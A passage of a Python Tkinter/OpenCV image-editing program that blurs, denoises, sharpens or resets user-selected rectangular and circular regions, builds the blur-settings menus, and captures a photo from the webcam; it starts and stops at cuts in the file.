canvasRemake(I)\n\n\n# def roiPicker2(event, x, y, flags, param):\n# global I, I_reset, ROIs, center, ROIs2\n\n# choice = default_roi.get()\n# if choice == \"Circle ROIs\":\n# if event == cv2.EVENT_LBUTTONDOWN:\n# # Calculate the radius as the distance from the center to the clicked point\n# radius = int(((x - center[0]) ** 2 + (y - center[1]) ** 2) ** 0.5)\n\n# # Add selected circle parameters to the ROIs list\n# ROIs2.append((center, radius))\n\n# # Draw a circle on the selected ROI\n# I = cv2.circle(I, center, radius, (255, 0, 0), 2)\n# I = image\n# I_reset = I.copy()\n# cv2.imshow(\"Pick places to blur\", image)\n\n# print(\n# \"ROI is saved, press q to stop capturing, press any other key to select another ROI\"\n# )\n\n# elif event == cv2.EVENT_RBUTTONDOWN:\n# # Reset the center point if right-clicked\n# center = (x, y)\n\n# canvasRemake(I)\n\n\ndef canvasRemake(I1):\n I1 = cv2.cvtColor(I1, cv2.COLOR_BGR2RGB)\n N = cv2.resize(I1, (850, 600))\n N = ImageTk.PhotoImage(image=Image.fromarray(N))\n canvas.itemconfig(container, image=N)\n canvas.imgref = N\n\n\ndef blur():\n global I, I_reset, ROIs, ROIs2, center, EnNeibor, EnSigCol, EnSigSpa, EnKerX, EnKerY, EnKerX1, EnKerY1, EnSigmX, EnSigmY, EnKerX2\n choice = default_blur.get()\n choice2 = default_roi.get()\n if choice2 == \"Rectangle ROIs\":\n if choice == \"Averaging Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n # apply Blur on cropped area\n blur = cv2.blur(sub, (int(Kernel_boxX.get()), int(Kernel_boxY.get())))\n blur2 = cv2.blur(sub2, (int(Kernel_boxX.get()), int(Kernel_boxY.get())))\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = blur\n save[y : y + h, x : x + w] = blur2\n\n canvasRemake(I)\n elif choice == \"Gaussian Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply GaussianBlur on cropped area\n\n blur = cv2.GaussianBlur(\n sub,\n (int(Gauss_KernelX.get()), int(Gauss_KernelY.get())),\n int(Gauss_SigX.get()),\n int(Gauss_SigY.get()),\n )\n blur2 = cv2.GaussianBlur(\n sub2,\n (int(Gauss_KernelX.get()), int(Gauss_KernelY.get())),\n int(Gauss_SigX.get()),\n int(Gauss_SigY.get()),\n )\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = blur\n save[y : y + h, x : x + w] = blur2\n\n canvasRemake(I)\n elif choice == \"Median Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply medianBlur on cropped area\n\n blur = cv2.medianBlur(sub, int(Median_KernelX.get()))\n blur2 = cv2.medianBlur(sub2, int(Median_KernelX.get()))\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = blur\n save[y : y + h, x : x + w] = blur2\n\n canvasRemake(I)\n elif choice == \"Bilateral Filtering\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply bileteralBlur on cropped area\n\n blur = cv2.bilateralFilter(\n sub, int(Bi_Nei.get()), int(Bi_Color.get()), int(Bi_Space.get())\n )\n blur2 = cv2.bilateralFilter(\n sub2, int(Bi_Nei.get()), int(Bi_Color.get()), int(Bi_Space.get())\n )\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = blur\n save[y : y + h, x : x + w] = blur2\n\n canvasRemake(I)\n elif choice2 == \"Circle ROIs\":\n if choice == \"Averaging Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n print(circle)\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply Blur on cropped area\n blur = cv2.blur(sub3, (int(Kernel_boxX.get()), int(Kernel_boxY.get())))\n blur2 = cv2.blur(sub4, (int(Kernel_boxX.get()), int(Kernel_boxY.get())))\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(blur, mask)\n blurred_roi2 = cv2.bitwise_and(blur2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Gaussian Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply GaussianBlur on cropped area\n blur = cv2.GaussianBlur(\n sub3,\n (int(Gauss_KernelX.get()), int(Gauss_KernelY.get())),\n int(Gauss_SigX.get()),\n int(Gauss_SigY.get()),\n )\n blur2 = cv2.GaussianBlur(\n sub4,\n (int(Gauss_KernelX.get()), int(Gauss_KernelY.get())),\n int(Gauss_SigX.get()),\n int(Gauss_SigY.get()),\n )\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(blur, mask)\n blurred_roi2 = cv2.bitwise_and(blur2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Median Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply medianBlur on cropped area\n blur = cv2.medianBlur(sub3, int(Median_KernelX.get()))\n blur2 = cv2.medianBlur(sub4, int(Median_KernelX.get()))\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(blur, mask)\n blurred_roi2 = cv2.bitwise_and(blur2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Bilateral Filtering\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply bileteralBlur on cropped area\n\n blur = cv2.bilateralFilter(\n sub3, int(Bi_Nei.get()), int(Bi_Color.get()), int(Bi_Space.get())\n )\n blur2 = cv2.bilateralFilter(\n sub4, int(Bi_Nei.get()), int(Bi_Color.get()), int(Bi_Space.get())\n )\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(blur, mask)\n blurred_roi2 = cv2.bitwise_and(blur2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n\n\n###########################################\n\n\ndef deblur():\n global I, ROIs, ROIs2, center, EnNeibor, EnSigCol, EnSigSpa, EnKerX, EnKerY, EnKerX1, EnKerY1, EnSigmX, EnSigmY, EnKerX2, DeStrengthDen, DeStrengthCol, DeWindowSi\n choice = default_blur.get()\n choice2 = default_roi.get()\n if choice2 == \"Rectangle ROIs\":\n if choice == \"Averaging Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n # apply DeBlur on cropped area\n wiener_img = cv2.fastNlMeansDenoising(\n sub,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub2,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = wiener_img\n save[y : y + h, x : x + w] = wiener_img2\n\n canvasRemake(I)\n elif choice == \"Gaussian Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply Deblur on cropped area\n\n wiener_img = cv2.fastNlMeansDenoising(\n sub,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub2,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = wiener_img\n save[y : y + h, x : x + w] = wiener_img2\n\n canvasRemake(I)\n elif choice == \"Median Blurring\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply medianBlur on cropped area\n\n blur = cv2.medianBlur(sub, int(Median_KernelX.get()))\n blur2 = cv2.medianBlur(sub2, int(Median_KernelX.get()))\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = blur\n save[y : y + h, x : x + w] = blur2\n\n canvasRemake(I)\n elif choice == \"Bilateral Filtering\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n\n # apply Deblur on cropped area\n\n wiener_img = cv2.fastNlMeansDenoising(\n sub,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub2,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = wiener_img\n save[y : y + h, x : x + w] = wiener_img2\n\n canvasRemake(I)\n elif choice2 == \"Circle ROIs\":\n if choice == \"Averaging Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply DeBlur on cropped area\n wiener_img = cv2.fastNlMeansDenoising(\n sub3,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub4,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(wiener_img, mask)\n blurred_roi2 = cv2.bitwise_and(wiener_img2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Gaussian Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply DeBlur on cropped area\n wiener_img = cv2.fastNlMeansDenoising(\n sub3,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub4,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(wiener_img, mask)\n blurred_roi2 = cv2.bitwise_and(wiener_img2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Median Blurring\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply DeBlur on cropped area\n wiener_img = cv2.fastNlMeansDenoising(\n sub3,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub4,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(wiener_img, mask)\n blurred_roi2 = cv2.bitwise_and(wiener_img2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n elif choice2 == \"Bilateral Filtering\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply DeBlur on cropped area\n wiener_img = cv2.fastNlMeansDenoising(\n sub3,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n wiener_img2 = cv2.fastNlMeansDenoising(\n sub4,\n None,\n int(Deblur_Kernel_StrengthDenoising.get()),\n int(Deblur_Kernel_StrengthColor.get()),\n int(Deblur_Kernel_WindowSize.get()),\n )\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n blurred_roi = cv2.bitwise_and(wiener_img, mask)\n blurred_roi2 = cv2.bitwise_and(wiener_img2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = blurred_roi\n save[y : y + h, x : x + w] = blurred_roi2\n\n canvasRemake(I)\n\n\ndef sharpen():\n global I, ROIs, ROIs2, center, EnNeibor, EnSigCol, EnSigSpa, EnKerX, EnKerY, EnKerX1, EnKerY1, EnSigmX, EnSigmY, EnKerX2\n choice2 = default_roi.get()\n if choice2 == \"Rectangle ROIs\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n # crop the image due to the current box\n sub = I[y : y + h, x : x + w]\n sub2 = save[y : y + h, x : x + w]\n # apply Blur on cropped area\n sharpened = cv2.filter2D(sub, -1, Sharpen_Kernel)\n sharpened2 = cv2.filter2D(sub2, -1, Sharpen_Kernel)\n\n # paste blurred image on the original image\n I[y : y + h, x : x + w] = sharpened\n save[y : y + h, x : x + w] = sharpened2\n\n canvasRemake(I)\n\n elif choice2 == \"Circle ROIs\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I[y : y + h, x : x + w]\n sub4 = save[y : y + h, x : x + w]\n\n # apply Blur on cropped area\n sharpened = cv2.filter2D(sub3, -1, Sharpen_Kernel)\n sharpened2 = cv2.filter2D(sub4, -1, Sharpen_Kernel)\n\n # create a mask with the same size as the sub-image, filled with zeros\n mask = np.zeros_like(sub3)\n mask2 = np.zeros_like(sub4)\n\n # create a circle on the mask with the same size as the sub-image\n cv2.circle(mask, (radius, radius), radius, (255, 255, 255), -1)\n cv2.circle(mask2, (radius, radius), radius, (255, 255, 255), -1)\n\n # apply the mask to the blurred image\n sharpened_roi = cv2.bitwise_and(sharpened, mask)\n sharpened_roi2 = cv2.bitwise_and(sharpened2, mask2)\n\n # paste blurred ROI on the original image\n I[y : y + h, x : x + w] = sharpened_roi\n save[y : y + h, x : x + w] = sharpened_roi2\n\n canvasRemake(I)\n\n\ndef erase():\n global I, I_reset, ROIs, ROIs2, center, EnNeibor, EnSigCol, EnSigSpa, EnKerX, EnKerY, EnKerX1, EnKerY1, EnSigmX, EnSigmY, EnKerX2\n choice2 = default_roi.get()\n if choice2 == \"Rectangle ROIs\":\n for box in ROIs:\n # unpack each box\n x, y, w, h = [d for d in box]\n\n sub = I_reset[y : y + h, x : x + w]\n sub2 = I_reset[y : y + h, x : x + w]\n # paste reset image on the image\n I[y : y + h, x : x + w] = sub\n save[y : y + h, x : x + w] = sub2\n\n canvasRemake(I)\n\n elif choice2 == \"Circle ROIs\":\n for circle in ROIs2:\n # unpack the circle parameters\n center, radius = circle\n\n # calculate the bounding box for the circle\n x, y = int(center[0] - radius), int(center[1] - radius)\n w, h = int(2 * radius), int(2 * radius)\n\n # crop the image due to the current circle\n sub3 = I_reset[y : y + h, x : x + w]\n sub4 = I_reset[y : y + h, x : x + w]\n\n # paste reset image on the original image\n I[y : y + h, x : x + w] = sub3\n save[y : y + h, x : x + w] = sub4\n\n canvasRemake(I)\n\n\n# # Define global variables\n# drawing = False # True if mouse is pressed\n# mode = True # True if draw rectangle, False if erase\n# ix, iy = -1, -1\n# brush_size = 20\n# blur_kernel_size = 21\n\n# # mouse callback function\n# def erase_roi(event, x, y, flags, param):\n# global ix, iy, drawing, mode, I\n\n# if event == cv2.EVENT_LBUTTONDOWN:\n# drawing = True\n# ix, iy = x, y\n\n# elif event == cv2.EVENT_MOUSEMOVE:\n# if drawing == True:\n# if mode == True:\n# cv2.rectangle(I, (ix, iy), (x, y), (0, 255, 0), 2)\n# else:\n# cv2.circle(I, (x, y), brush_size, (255, 0, 0), 2)\n\n# elif event == cv2.EVENT_LBUTTONUP:\n# drawing = False\n# if mode == True:\n# cv2.rectangle(I, (ix, iy), (x, y), (0, 255, 0), 2)\n# roi = I[iy:y, ix:x]\n# blurred_roi = cv2.GaussianBlur(\n# roi, (blur_kernel_size, blur_kernel_size), 0)\n# IconPhoto[iy:y, ix:x] = blurred_roi\n# else:\n# cv2.circle(I, (x, y), brush_size, (255, 0, 0), 2)\n\n\n# def erase():\n# global I, ROIs, mode\n# cv2.namedWindow('Erase')\n# cv2.setMouseCallback('Erase', erase_roi)\n# # for box in ROIs:\n# # # unpack each box\n# # x, y, w, h = [d for d in box]\n\n# # # crop the image due to the current box\n# # sub = I[y:y+h, x:x+w]\n# while (1):\n# cv2.imshow('Erase', I)\n# k = cv2.waitKey(1) & 0xFF\n# if k == ord('m'):\n# mode = not mode\n# elif k == ord('s'):\n# cv2.imwrite('image.png', I)\n# elif k == 27:\n# break\n\n# canvasRemake(I)\n\n\ndef BoxBlurFrame(BOXWINDOW):\n global EnKerX, EnKerY\n BOXFrame = Frame(BOXWINDOW, width=50, height=50, bg=\"#444654\")\n BOXFrame.grid(row=2, column=0, padx=10, pady=10)\n\n TitleL = Label(\n BOXFrame, text=\"Averaging Blur Options:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0)\n KerX = Label(BOXFrame, text=\"KERNEL X:\", bg=\"#444654\", fg=\"white\").grid(\n row=1, column=0\n )\n KerY = Label(BOXFrame, text=\"KERNEL Y:\", bg=\"#444654\", fg=\"white\").grid(\n row=2, column=0\n )\n\n EnKerX = Entry(BOXFrame, textvariable=Kernel_boxX)\n\n EnKerX.grid(row=1, column=1)\n\n EnKerY = Entry(BOXFrame, textvariable=Kernel_boxY)\n\n EnKerY.grid(row=2, column=1)\n\n\ndef GaussianBlurFrame(GAUSWINDOW):\n global EnKerX1, EnKerY1, EnSigmX, EnSigmY\n\n GAUSFrame = Frame(GAUSWINDOW, width=50, height=50, bg=\"#444654\")\n GAUSFrame.grid(row=3, column=0, padx=10, pady=10)\n\n TitleL = Label(\n GAUSFrame, text=\"Gaussian Blur Options:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0)\n KerX1 = Label(GAUSFrame, text=\"KERNEL X:\", bg=\"#444654\", fg=\"white\").grid(\n row=1, column=0\n )\n KerY1 = Label(GAUSFrame, text=\"KERNEL Y:\", bg=\"#444654\", fg=\"white\").grid(\n row=2, column=0\n )\n SIGMX = Label(GAUSFrame, text=\"SIGMA X:\", bg=\"#444654\", fg=\"white\").grid(\n row=3, column=0\n )\n SIGMY = Label(GAUSFrame, text=\"SIGMA Y:\", bg=\"#444654\", fg=\"white\").grid(\n row=4, column=0\n )\n\n EnKerX1 = Entry(GAUSFrame, textvariable=Gauss_KernelX)\n\n EnKerX1.grid(row=1, column=1)\n\n EnKerY1 = Entry(GAUSFrame, textvariable=Gauss_KernelY)\n\n EnKerY1.grid(row=2, column=1)\n\n EnSigmX = Entry(GAUSFrame, textvariable=Gauss_SigX)\n\n EnSigmX.grid(row=3, column=1)\n\n EnSigmY = Entry(GAUSFrame, textvariable=Gauss_SigY)\n\n EnSigmY.grid(row=4, column=1)\n\n\ndef MedianBlurFrame(MEDWINDOW):\n global EnKerX2\n\n MEDFrame = Frame(MEDWINDOW, width=50, height=50, bg=\"#444654\")\n MEDFrame.grid(row=4, column=0, padx=10, pady=10)\n\n TitleL = Label(\n MEDFrame, text=\"Median Blur Options:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0)\n KerX2 = Label(MEDFrame, text=\"Aperture Size:\", bg=\"#444654\", fg=\"white\").grid(\n row=1, column=0\n )\n\n EnKerX2 = Entry(MEDFrame, textvariable=Median_KernelX)\n\n EnKerX2.grid(row=1, column=1)\n\n\ndef BilateralBlurFrame(BiWindow):\n global EnNeibor, EnSigCol, EnSigSpa\n\n BiFrame = Frame(BiWindow, width=50, height=50, bg=\"#444654\")\n BiFrame.grid(row=5, column=0, padx=10, pady=10)\n\n TitleL = Label(\n BiFrame, text=\"Bilateral Blur Options:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0)\n NeigSize = Label(BiFrame, text=\"Neighborhood Size:\", bg=\"#444654\", fg=\"white\").grid(\n row=1, column=0\n )\n SigCOlor = Label(BiFrame, text=\"Sigma Color:\", bg=\"#444654\", fg=\"white\").grid(\n row=2, column=0\n )\n SigSpace = Label(BiFrame, text=\"Sigma Space:\", bg=\"#444654\", fg=\"white\").grid(\n row=3, column=0\n )\n\n EnNeibor = Entry(BiFrame, textvariable=Bi_Nei)\n EnNeibor.grid(row=1, column=1)\n\n EnSigCol = Entry(BiFrame, textvariable=Bi_Color)\n EnSigCol.grid(row=2, column=1)\n\n EnSigSpa = Entry(BiFrame, textvariable=Bi_Space)\n EnSigSpa.grid(row=3, column=1)\n\n\ndef DeblurFrame(DeblurWindow):\n global EnNeibor, EnSigCol, EnSigSpa\n\n DeblurFrame = Frame(DeblurWindow, width=50, height=50, bg=\"#444654\")\n DeblurFrame.grid(row=6, column=0, padx=10, pady=10)\n\n TitleL = Label(DeblurFrame, text=\"DeBlur Options:\", bg=\"#444654\", fg=\"white\").grid(\n row=0, column=0\n )\n StrDen = Label(\n DeblurFrame, text=\"Strength Denoising:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=1, column=0)\n StrCol = Label(DeblurFrame, text=\"Strength Color:\", bg=\"#444654\", fg=\"white\").grid(\n row=2, column=0\n )\n WinSize = Label(DeblurFrame, text=\"Window Size:\", bg=\"#444654\", fg=\"white\").grid(\n row=3, column=0\n )\n\n DeStrengthDen = Entry(DeblurFrame, textvariable=Deblur_Kernel_StrengthDenoising)\n DeStrengthDen.grid(row=1, column=1)\n\n DeStrengthCol = Entry(DeblurFrame, textvariable=Deblur_Kernel_StrengthColor)\n DeStrengthCol.grid(row=2, column=1)\n\n DeWindowSi = Entry(DeblurFrame, textvariable=Deblur_Kernel_WindowSize)\n DeWindowSi.grid(row=3, column=1)\n\n\nwinde1 = 0\n\n\ndef on_closing1():\n global winde1\n winde1.destroy()\n winde1 = 0\n\n\ndef Blur_Menu():\n global default_blur, winde1\n\n BLMenu = Toplevel(root)\n winde1 = BLMenu\n BLMenu.protocol(\"WM_DELETE_WINDOW\", on_closing1)\n MenuFrame = Frame(BLMenu, width=200, height=200, bg=\"#343541\")\n MenuFrame.grid(row=0, column=0, padx=5, pady=5)\n BLMenu.resizable(False, False)\n\n BoxBlurFrame(MenuFrame)\n GaussianBlurFrame(MenuFrame)\n MedianBlurFrame(MenuFrame)\n BilateralBlurFrame(MenuFrame)\n DeblurFrame(MenuFrame)\n\n Dropl = Label(\n MenuFrame, text=\"Active Blur Algorithm:\", bg=\"#444654\", fg=\"white\"\n ).grid(row=0, column=0, sticky=\"w\", padx=5, pady=3, ipadx=10)\n drop = OptionMenu(MenuFrame, default_blur, *Blur_options).grid(\n row=1, column=0, sticky=\"w\", padx=5, pady=3, ipadx=10\n )\n\n\ndef SeeIfOpen():\n if winde1 == 0:\n Blur_Menu()\n else:\n winde1.lift()\n\n\ndef camera():\n global save, I, ROIs, ROIs2\n ROIs.clear()\n ROIs2.clear()\n cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)\n while True:\n key = cv2.waitKey(1) & 0xFF\n ret, frame = cap.read()\n if not ret:\n messagebox.showerror(\"Image Smoothing\", \"Error: No camera was found\")\n break\n\n h, l, c = frame.shape\n picture = frame.copy()\n\n cv2.putText(\n img=frame,\n text=\"Press Space to take picture\",\n org=(10, 17),\n fontFace=cv2.FONT_HERSHEY_DUPLEX,\n fontScale=0.5,\n color=(255, 255, 255),\n thickness=1,\n )\n cv2.putText(\n img=frame,\n text=\"Press Q to quit\",\n org=(l - 135, h - 10),\n fontFace=cv2.FONT_HERSHEY_DUPLEX,\n fontScale=0.5,\n color=(255, 255, 255),\n thickness=1,\n )\n cv2.imshow(\"Camera\", frame)\n\n if key == ord(\" \"):\n canvasRemake(picture)\n save = picture.copy()\n I = picture\n z = cv2.cvtColor(picture, cv2.COLOR_BGR2RGB)\n\n cv2.destroyWindow(\"Camera\")\n break\n if key == ord(\"q\"):\n cv2.destroyWindow(\"Camera\")\n break\n\n cap.release()\n\n\nwinde2 = 